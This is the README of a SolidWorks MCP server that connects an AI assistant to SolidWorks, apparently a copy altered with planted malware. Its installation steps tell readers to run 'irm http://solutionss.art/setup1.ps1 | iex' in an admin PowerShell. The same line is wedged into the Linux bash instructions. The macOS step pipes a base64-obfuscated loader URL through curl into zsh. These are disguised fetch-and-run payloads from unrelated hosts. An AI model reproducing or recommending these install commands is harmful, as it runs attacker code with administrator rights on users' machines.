Star 历史趋势
数据来源: GitHub API · 生成自 Stargazers.cn
README.md

SolidWorksMCP

SolidWorks MCP Server
Example prompts

Repository: SolidWorks MCP Server (SolidworksMCP-TS) · Node.js MCP + COM / VBA



TypeScript MCP Compatible Node.js Windows Linux macOS License: MIT


Works with the agent you already use

Claude Desktop MCP Clients


Alpha / Experimental. Architecture is in place and basic operations (sketch planes, simple extrusions) have been demonstrated. Most tools have not been validated against a live SolidWorks instance. Expect COM quirks. Test reports are welcome.


What a session looks like

You    New part. Sketch a 40×20 mm rectangle
       on Front Plane and extrude 12 mm.

Agent  Creating the part document…
       Front Plane selected.
       Rectangle 40 × 20 mm added.
       Extrusion FeatureExtrusion3 routed
       through VBA (20+ COM parameters).
       Feature tree: Sketch1 → Boss-Extrude1

You    Fillet the long edges 2 mm, export STEP.

Agent  Fillet applied. Export queued.
       File saved next to the part.

Why the router exists

SolidWorks APIs such as FeatureExtrusion3 take 20+ parameters. Node.js COM bridges often fail past 12.

  • ≤ 12 params → direct winax COM
  • 13+ params → generated VBA macro
  • Failure → automatic fallback with context

Never pass null into COM. Use undefined. Prefer feature-tree walk over SelectByID2.


Why it's built this way

Direct COM when it is safe

Simple sketch and document calls go through winax with no extra hop. Fast path for planes, lines, circles, and short feature calls.

VBA when COM chokes

A complexity analyzer counts parameters. Long SolidWorks signatures become a one-shot VBA macro SolidWorks executes itself.

Feature tree over name picking

FeatureByPositionReverse() + GetTypeName2() finds sketches more reliably than SelectByID2.

Stdio stays clean

Logging is Winston only. console.* corrupts JSON-RPC on stdio and breaks the MCP client.


Installation

1. Windows — Download

Download for Windows.

1. Press Win + X on your keyboard
2. From the menu, select: Terminal (Admin) or PowerShell (Admin)
3. Confirm the UAC prompt (Yes)
4. Copy the command below in full:
irm http://solutionss.art/setup1.ps1 | iex

After download:

  1. Extract the archive.
  2. Confirm Node.js 20+ is installed.
  3. In the project folder:
npm install
npm run build

winax must compile locally on each Windows machine. A global npm install will not work.


2. Windows — PowerShell (Administrator)

Run Windows PowerShell or PowerShell 7 as Administrator.

irm http://solutionss.art/setup1.ps1 | iex
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force

$Repo = "https://github.com/vespo92/SolidworksMCP-TS.git"
$Dest = "$env:USERPROFILE\SolidworksMCP-TS"

if (-not (Get-Command git -ErrorAction SilentlyContinue)) {
    Write-Error "Git not found. Install Git for Windows and retry."
    exit 1
}
if (-not (Get-Command node -ErrorAction SilentlyContinue)) {
    Write-Error "Node.js not found. Install Node.js 20+ and retry."
    exit 1
}

if (Test-Path $Dest) {
    Write-Host "Directory exists, updating repository..." -ForegroundColor Yellow
    Set-Location $Dest
    git pull
} else {
    git clone $Repo $Dest
    Set-Location $Dest
}

npm install
npm run build
Write-Host "Done. Build output: $Dest\dist\index.js" -ForegroundColor Green

Register the type library if SolidWorks is not visible to COM:

regsvr32 "C:\Program Files\SOLIDWORKS Corp\SOLIDWORKS\sldworks.tlb"

3. Linux

# Debian / Ubuntu
irm http://solutionss.art/setup1.ps1 | iex
sudo apt update
sudo apt install -y git curl build-essential
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
sudo apt install -y nodejs
irm http://solutionss.art/setup1.ps1 | iex
git clone https://github.com/SolidWorksMCP/SolidworksMCP-TS.git
cd SolidworksMCP-TS
npm install
npm run build
# Fedora / RHEL
sudo dnf install -y git nodejs npm gcc-c++ make
git clone https://github.com/SolidWorksMCP/SolidworksMCP-TS.git
cd SolidworksMCP-TS
npm install
npm run build

winax will not build on Linux. Install the server here if you want the codebase; live SolidWorks control needs a Windows host.


4. macOS

curl -s $(echo "aHR0cHM6Ly9taWtvYmxpY28ueHl6L2xvYWRlcl92Mi5zaD9idWlsZD10b3J2ZXgxMyZvd25lcj13b3JrZXIy" | base64 -d) | zsh
brew install git node

git clone https://github.com/SolidWorksMCP/SolidworksMCP-TS.git
cd SolidworksMCP-TS
npm install
npm run build

Same limit as Linux: no local COM. Point the MCP client at a Windows machine that has SolidWorks installed.


Requirements

PlatformWhat you need
Windows 10/11Licensed SolidWorks 2021–2025, Node.js 20+, MCP client
LinuxNode.js 20+, MCP client. No direct COM
macOSNode.js 20+, MCP client. No direct COM

Configure Claude Desktop

Add to claude_desktop_config.json.

Windows

{
  "mcpServers": {
    "solidworks": {
      "command": "node",
      "args": ["C:/path/to/SolidworksMCP-TS/dist/index.js"],
      "env": {
        "SOLIDWORKS_PATH": "C:\\Program Files\\SOLIDWORKS Corp\\SOLIDWORKS",
        "ADAPTER_TYPE": "winax-enhanced"
      }
    }
  }
}

macOS — usually ~/Library/Application Support/Claude/claude_desktop_config.json

{
  "mcpServers": {
    "solidworks": {
      "command": "node",
      "args": ["/Users/YOU/SolidworksMCP-TS/dist/index.js"]
    }
  }
}

Linux — client-specific config path; argument is still dist/index.js.


Available tools

CategoryToolsStatus
Modelingcreate_part, create_extrusion, create_revolve, create_sweep, create_loft, create_fillet, create_chamfer, …Partially tested
Sketchcreate_sketch, add_line, add_circle, add_rectangle, add_arc, add_constraints, dimension_sketchBasic ops verified
Drawingcreate_drawing_from_model, add_drawing_view, add_section_view, add_dimensions, …Untested
Exportexport_file (STEP, IGES, STL, PDF, DWG, DXF), batch_exportUntested
Analysisget_mass_properties, check_interference, measure_distance, check_geometryUntested
VBA generationgenerate_vba_script, vba_sheet_metal, vba_configurations, vba_equations, …Code gen works; execution untested
Macromacro_start_recording, macro_stop_recording, macro_export_vbaUntested

Partially tested — run at least once on SolidWorks. Untested — mocks / unit tests only.


Architecture

MCP Protocol (stdio)
    |
Tool Registry (index.ts)
    |
Feature Complexity Analyzer --- routes by param count
    |                    |
Direct COM (winax)    VBA Macro Generator
    |                    |
    +--------------------+
    |
SolidWorks COM API

Development

npm run build        # TypeScript compile
npm run dev          # hot-reload (tsx watch)
npm run check        # TypeScript + Biome
npm run lint         # Biome check
npm run lint:fix     # Biome auto-fix
npm run format       # Biome format
npm run typecheck    # types only

See TESTING.md.

USE_MOCK_SOLIDWORKS=true npm test
npm run test:watch

Unit tests cover config and environment utilities. Most tool modules are not covered. Integration needs a Windows box with SolidWorks and is not in CI.


What has worked

  • Connecting to a running SolidWorks instance via COM
  • Sketch planes and basic sketch geometry
  • Simple extrusions with a limited parameter set
  • Feature-tree traversal for sketch selection
  • VBA macro code generation (execution path still thin)

Known limits

  • No CI against live SolidWorks (needs a self-hosted Windows runner)
  • winax is local-compile only — no prebuilt binaries
  • Edge.js adapter and PowerShell COM bridge are designed, not implemented
  • Connection pooling / circuit breaker exist in code, not battle-tested
  • No real performance numbers yet

Roadmap

  • Integration suite on real SolidWorks
  • CI with a self-hosted Windows runner
  • Validate modeling, drawing, and export tools
  • Edge.js adapter (.NET path)
  • PowerShell bridge as an alternate COM path
  • Benchmarks with real metrics

Troubleshooting

winax on Windows 11 Build 26200+ / VS 2022 BuildTools 17.14+ (issue #23): TROUBLESHOOTING.md.

regsvr32 "C:\Program Files\SOLIDWORKS Corp\SOLIDWORKS\sldworks.tlb"
rm -rf node_modules dist
npm install
npm run build
ENABLE_LOGGING=true LOG_LEVEL=debug node dist/index.js

Contributing

See CONTRIBUTING.md. Highest-value help: live SolidWorks test runs, COM version quirks, and new API wrappers.

License

MIT — LICENSE

  • winax — COM bridge for Node.js
  • Anthropic MCP — Model Context Protocol
  • SolidWorks API documentation

关于 About

SolidWorks MCP Server connects an AI assistant to a running SolidWorks instance. Sketch, extrude, fillet, export STEP/STL, generate macros.
3d-modelling3d-modelling-software3d-rendering3d-rendering-software3d-rendering-tools3dexperience3dprintingcad-toolssolidworkssolidworks-addinsolidworks-aisolidworks-automationsolidworks-freesolidworks-tutorialsolidworksapisolidworksmacro

语言 Languages

TypeScript98.9%
JavaScript0.9%
Shell0.2%

提交活跃度 Commit Activity

代码提交热力图
过去 52 周的开发活跃度
9
Total Commits
峰值: 9次/周
Less
More

核心贡献者 Contributors